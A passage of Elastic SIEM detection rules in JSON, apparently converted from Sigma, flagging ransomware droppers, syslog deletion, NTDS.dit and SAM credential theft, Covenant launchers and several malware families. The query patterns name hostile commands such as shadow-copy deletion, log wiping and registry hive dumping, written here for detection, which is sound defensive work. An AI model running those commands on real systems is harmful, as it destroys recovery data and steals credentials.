Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific commands commonly used to remove or empty the syslog. Author: Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC. License: ","enabled":false,"false_positives":["Log rotation."],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"3fcc9b35-39e4-44c0-a2ad-9e82b6902b31","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Commands to Clear or Remove the Syslog","query":"process.command_line:(*rm\\ \\/var\\/log\\/syslog* OR *rm\\ \\-r\\ \\/var\\/log\\/syslog* OR *rm\\ \\-f\\ \\/var\\/log\\/syslog* OR *rm\\ \\-rf\\ \\/var\\/log\\/syslog* OR *mv\\ \\/var\\/log\\/syslog* OR *\\ >\\/var\\/log\\/syslog* OR *\\ >\\ \\/var\\/log\\/syslog*)","meta":{"from":"1m"},"severity":"high","tags":["T1565"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1565","name":"Data Manipulation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific process characteristics of Chinese TAIDOOR RAT malware load Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8ab3f81e-544a-a152-6784-78fc4bc8baea","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"TAIDOOR RAT DLL Load","query":"(process.command_line:(*dll,MyStart* OR *dll\\ MyStart*) OR (process.command_line:*\\ MyStart AND process.command_line:*rundll32.exe*))","meta":{"from":"1m"},"severity":"critical","tags":["T1055"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects specific process characteristics of Maze ransomware word document droppers Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"29fd07fc-9cfd-4331-b7fd-cc18dfa21052","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Maze Ransomware","query":"((process.parent.executable:*\\\\WINWORD.exe AND process.executable:*.tmp) OR (process.executable:*\\\\wmic.exe AND process.parent.executable:*\\\\Temp\\\\* AND process.command_line:*shadowcopy\\ delete) OR (process.command_line:*shadowcopy\\ delete AND process.command_line:*\\\\..\\\\..\\\\system32*))","meta":{"from":"1m"},"severity":"critical","tags":["T1047","T1204","T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""},{"id":"T1204","name":"User Execution","reference":""}]},{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific process characteristics of Snatch ransomware word document droppers Author: Florian Roth. License: ","enabled":false,"false_positives":["Scripts that shutdown the system immediately and reboot them in safe mode are unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5325945e-f1f0-406e-97b8-65104d393fff","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Snatch Ransomware","query":"process.command_line:(*shutdown\\ \\/r\\ \\/f\\ \\/t\\ 00* OR *net\\ stop\\ SuperBackupMan*)","meta":{"from":"1m"},"severity":"critical","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities Author: Florian Roth, Markus Neis. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c8996cfe-95cb-0c54-9bef-9bf010dfd812","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Winnti Malware HK University Campaign","query":"((process.parent.executable:(*C\\:\\\\Windows\\\\Temp* OR *\\\\hpqhvind.exe*) AND process.executable:C\\:\\\\ProgramData\\\\DRM*) OR (process.parent.executable:C\\:\\\\ProgramData\\\\DRM* AND process.executable:*\\\\wmplayer.exe) OR (process.parent.executable:*\\\\Test.exe AND process.executable:*\\\\wmplayer.exe) OR process.executable:\"C\\:\\\\ProgramData\\\\DRM\\\\CLR\\\\CLR.exe\" OR (process.parent.executable:C\\:\\\\ProgramData\\\\DRM\\\\Windows* AND process.executable:*\\\\SearchFilterHost.exe))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific process characteristics of Winnti Pipemon malware reported by ESET Author: Florian Roth, oscd.community. License: ","enabled":false,"false_positives":["Legitimate setups that use similar flags"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"73d70463-75c9-4258-92c6-17500fe972f2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Winnti Pipemon Characteristics","query":"(process.command_line:*setup0.exe\\ \\-p* OR (process.command_line:*setup.exe* AND process.command_line:(*\\-x\\:0 OR *\\-x\\:1 OR *\\-x\\:2)))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific process parameters as seen in DTRACK infections Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f1531fa4-5b84-4342-8f68-9cf3fdbd83d4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"DTRACK Process Creation","query":"process.command_line:*\\ echo\\ EEEE\\ >\\ *","meta":{"from":"1m"},"severity":"critical","tags":["T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects specific process parameters as used by ACTINIUM scheduled task persistence creation. Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fa139a9d-b0c0-3cf2-76e8-d406176c6e69","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Scheduled Task WScript VBScript","query":"(process.command_line:*schtasks* AND process.command_line:*create* AND process.command_line:*wscript* AND process.command_line:*e\\:vbscript*)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects specific process parameters as used by Mustang Panda droppers Author: Florian Roth, oscd.community. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ad2bab79-5648-4491-12a2-67664b80ed23","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Mustang Panda Dropper","query":"(process.command_line:(*Temp\\\\wtask.exe\\ \\/create* OR *%windir\\:\\~\\-3,1%%PUBLIC\\:\\~\\-9,1%* OR *\\/tn\\ \\\"Security\\ Script\\ * OR *%windir\\:\\~\\-1,1%*) OR (process.command_line:*\\/E\\:vbscript* AND process.command_line:*C\\:\\\\Users\\\\* AND process.command_line:*.txt* AND process.command_line:*\\/F*) OR process.executable:*Temp\\\\winwsh.exe)","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects SQL error messages that indicate probing for an injection attack Author: Bjoern Kimminich. License: ","enabled":false,"false_positives":["Application bugs"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"dabd6eb5-d5b1-e429-6bf6-06b3d42d5802","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious SQL Error Messages","query":"(*quoted\\ string\\ not\\ properly\\ terminated* OR *You\\ have\\ an\\ error\\ in\\ your\\ SQL\\ syntax* OR *Unclosed\\ quotation\\ mark* OR *near\\ \\\"*\\\"\\:\\ syntax\\ error* OR *SELECTs\\ to\\ the\\ left\\ and\\ right\\ of\\ UNION\\ do\\ not\\ have\\ the\\ same\\ number\\ of\\ result\\ columns*)","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527 Author: Markus Neis, @markus_neis, Florian Roth. License: ","enabled":false,"false_positives":["Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"aa3a2d06-d650-0d6f-fef0-6988088c02c3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"PrinterNightmare Mimimkatz Driver Name","query":"((winlog.event_data.TargetObject:(*\\\\Control\\\\Print\\\\Environments\\\\Windows\\ x64\\\\Drivers\\\\Version\\-3\\\\QMS\\ 810\\\\* OR *\\\\Control\\\\Print\\\\Environments\\\\Windows\\ x64\\\\Drivers\\\\Version\\-3\\\\mimikatz*) OR (winlog.event_data.TargetObject:*legitprinter* AND winlog.event_data.TargetObject:*\\\\Control\\\\Print\\\\Environments\\\\Windows*)) OR (winlog.event_data.TargetObject:(*\\\\Control\\\\Print\\\\Environments* OR *\\\\CurrentVersion\\\\Print\\\\Printers*) AND winlog.event_data.TargetObject:(*Gentil\\ Kiwi* OR *mimikatz\\ printer* OR *Kiwi\\ Legit\\ Printer*)))","meta":{"from":"1m"},"severity":"critical","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter. Author: Ensar Åžamil, @sblmsrsn, @oscd_initiative. License: ","enabled":false,"false_positives":["Utilization of this tool should not be seen in enterprise environment"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7b10f171-7f04-47c7-9fa2-5be43c76e535","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Visual Basic Command Line Compiler Usage","query":"(process.parent.executable:*\\\\vbc.exe AND process.executable:*\\\\cvtres.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service. Author: Tim Burrell. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5fa2b4b5-958c-eaf6-afc7-5cb40f2f76e0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspect Svchost Memory Asccess","query":"(winlog.event_data.TargetImage:*\\\\WINDOWS\\\\System32\\\\svchost.exe AND winlog.event_data.GrantedAccess:\"0x1F3FFF\" AND winlog.event_data.CallTrace:*UNKNOWN*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly. Author: omkar72, oscd.community, Wojciech Lesicki. License: ","enabled":false,"false_positives":[" - rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fbbe395-f009-30c1-c36b-13f47dd1e1e0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspcious CLR Logs Creation","query":"(file.path:*\\\\AppData\\\\Local\\\\Microsoft\\\\CLR* AND file.path:*\\\\UsageLogs\\\\* AND file.path:(*mshta* OR *cscript* OR *wscript* OR *regsvr32* OR *wmic* OR *rundll32* OR *svchost*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1059","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration Author: Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Certutil Encode","query":"(process.executable:*\\\\certutil.exe AND process.command_line:*\\-f* AND process.command_line:*\\-encode*)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"afff7ffa-2ccb-7c3b-b244-8d6c1f10bba7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious MSExchangeMailboxReplication ASPX Write","query":"(process.executable:*\\\\MSExchangeMailboxReplication.exe AND file.path:(*.aspx OR *.asp))","meta":{"from":"1m"},"severity":"high","tags":["Initial Access","T1190","T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays Author: Florian Roth, omkar72, oscd.community. License: ","enabled":false,"false_positives":["Admin activity (unclear what they do nowadays with finger.exe)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"af491bca-e752-4b44-9c86-df5680533dbc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Finger.exe Suspicious Invocation","query":"process.executable:*\\\\finger.exe","meta":{"from":"1m"},"severity":"high","tags":["T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious calls of DLLs in rundll32.dll exports by ordinal Author: Florian Roth. License: ","enabled":false,"false_positives":["False positives depend on scripts and administrative tools used in the monitored environment","Windows control panel elements have been identified as source (mmc)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e79a9e79-eb72-4e78-a628-0e7e8f59e89c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Call by Ordinal","query":"((process.executable:*\\\\rundll32.exe AND process.command_line:(*,#* OR *,\\ #* OR *.dll\\ #*)) AND (NOT (process.command_line:*EDGEHTML.dll* AND process.command_line:*#141*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious child process creations of VMware Tools process which may indicate persistence setup Author: behops, Bhabesh Raj. License: ","enabled":false,"false_positives":["Legitimate use by adminstrator"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5687f942-867b-4578-ade7-1e341c46e99a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"VMToolsd Suspicious Child Process","query":"((process.parent.executable:*\\\\vmtoolsd.exe AND process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\rundll32.exe OR *\\\\regsvr32.exe OR *\\\\wscript.exe OR *\\\\cscript.exe)) AND (NOT (process.command_line:(*\\\\VMware\\\\VMware\\ Tools\\\\poweron\\-vm\\-default.bat* OR *\\\\VMware\\\\VMware\\ Tools\\\\poweroff\\-vm\\-default.bat* OR *\\\\VMware\\\\VMware\\ Tools\\\\resume\\-vm\\-default.bat* OR *\\\\VMware\\\\VMware\\ Tools\\\\suspend\\-vm\\-default.bat*))))","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious command line activity on Windows systems Author: Florian Roth, omkar72. License: ","enabled":false,"false_positives":["Inventory tool runs","Penetration tests","Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d95de845-b83c-4a9a-8a6a-4fc802ebf6c0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Reconnaissance Activity","query":"process.command_line:(\"net\\ group\\ \\\"domain\\ admins\\\"\\ \\/dom\" OR \"net\\ localgroup\\ administrators\" OR \"net\\ group\\ \\\"enterprise\\ admins\\\"\\ \\/dom\" OR \"net\\ accounts\\ \\/dom\")","meta":{"from":"1m"},"severity":"medium","tags":["T1087","T1087"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1087","name":"Account Discovery","reference":""},{"id":"T1087","name":"Account Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious command line arguments of common data compression tools Author: Florian Roth, Samir Bousseaden. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"89d4442d-ee83-c359-55f2-3ddce627aefb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Compression Tool Parameters","query":"((winlog.event_data.OriginalFileName:(7z*.exe OR *rar.exe OR *Command*Line*RAR*) AND process.command_line:(*\\ \\-p* OR *\\ \\-ta* OR *\\ \\-tb* OR *\\ \\-sdel* OR *\\ \\-dw* OR *\\ \\-hp*)) AND (NOT (process.parent.executable:C\\:\\\\Program*)))","meta":{"from":"1m"},"severity":"high","tags":["T1560"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1560","name":"Archive Collected Data","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious command line in which a user gets added to the local Remote Desktop Users group Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ffa28e60-bdb1-46e0-9f82-05f7a61cc06e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Add User to Remote Desktop Users Group","query":"(process.command_line:*net\\ * AND process.command_line:*localgroup* AND process.command_line:*Remote\\ Desktop\\ Users* AND process.command_line:*\\/add*)","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021","T1133","T1136"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1133","name":"External Remote Services","reference":""},{"id":"T1136","name":"Create Account","reference":""}]},{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious command line patterns used when rundll32 is used to run JavaScript code Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9f06447a-a33a-4cbe-a94f-a3f43184a7a3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Rundll32 JS RunHTMLApplication Pattern","query":"((process.command_line:*rundll32* AND process.command_line:*javascript* AND process.command_line:*..\\\\..\\\\mshtml,RunHTMLApplication*) OR process.command_line:*;document.write\$\$;GetObject\\(\\\"script*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects suspicious command line reg.exe tool adding key to RUN key in Registry Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b0f079b6-8db4-6aab-be93-434f8bafce84","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Reg Add RUN Key","query":"(process.command_line:*reg* AND process.command_line:*\\ ADD\\ * AND process.command_line:*Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run*)","meta":{"from":"1m"},"severity":"medium","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious command lines used in Covenant luanchers Author: Florian Roth, Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c260b6db-48ba-4b4a-a76f-2f67644e99d2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Covenant Launcher Indicators","query":"((process.command_line:*\\-Sta* AND process.command_line:*\\-Nop* AND process.command_line:*\\-Window* AND process.command_line:*Hidden* AND process.command_line:(*\\-Command* OR *\\-EncodedCommand*)) OR process.command_line:(*sv\\ o\\ \$New\\-Object\\ IO.MemorySteam\$;sv\\ d\\ * OR *mshta\\ file.hta* OR *GruntHTTP* OR *\\-EncodedCommand\\ cwB2ACAAbwAgA*))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1059","T1564"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1564","name":"Hide Artifacts","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious commands that could be related to activity that uses volume shadow copy to steal and retrieve hashes from the NTDS.dit file remotely Author: Florian Roth, Michael Haag. License: ","enabled":false,"false_positives":["Administrative activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ca374d0f-458c-c85a-e978-8b1a2729f69e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Activity Related to NTDS.dit Domain Hash Retrieval","query":"process.command_line:(\"vssadmin.exe\\ Delete\\ Shadows\" OR \"vssadmin\\ create\\ shadow\\ \\/for\\=C\\:\" OR copy\\ \\\\?\\\\GLOBALROOT\\\\Device\\\\*\\\\windows\\\\ntds\\\\ntds.dit OR copy\\ \\\\?\\\\GLOBALROOT\\\\Device\\\\*\\\\config\\\\SAM OR \"vssadmin\\ delete\\ shadows\\ \\/for\\=C\\:\" OR \"reg\\ SAVE\\ HKLM\\\\SYSTEM\\ \" OR esentutl.exe\\ \\/y\\ \\/vss\\ *\\\\ntds.dit* OR esentutl.exe\\ \\/y\\ \\/vss\\ *\\\\SAM OR esentutl.exe\\ \\/y\\ \\/vss\\ *\\\\SYSTEM)","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious DACL modifications that can be used to hide services or make them unstopable Author: Jonhnathan Ribeiro, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"99cf1e02-00fb-4c0d-8375-563f978dfd37","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Service DACL Modification","query":"(process.executable:*\\\\sc.exe AND process.command_line:*sdset* AND process.command_line:*D;;* AND process.command_line:(*;;;IU* OR *;;;SU* OR *;;;BA* OR *;;;SY* OR *;;;WD*))","meta":{"from":"1m"},"severity":"high","tags":["T1543"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious encoded character syntax often used for defense evasion Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"113de366-3e7c-aeed-ae76-9e871d04b88b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"PowerShell Encoded Character Syntax","query":"process.command_line:*\$WCHAR\$0x*","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects suspicious file execution by wscript and cscript Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"966e4016-627f-44f7-8341-f394905c361f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"WMIExec VBS Script","query":"(process.executable:*\\\\cscript.exe AND process.command_line:*.vbs* AND process.command_line:*\\/shell*)","meta":{"from":"1m"},"severity":"critical","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
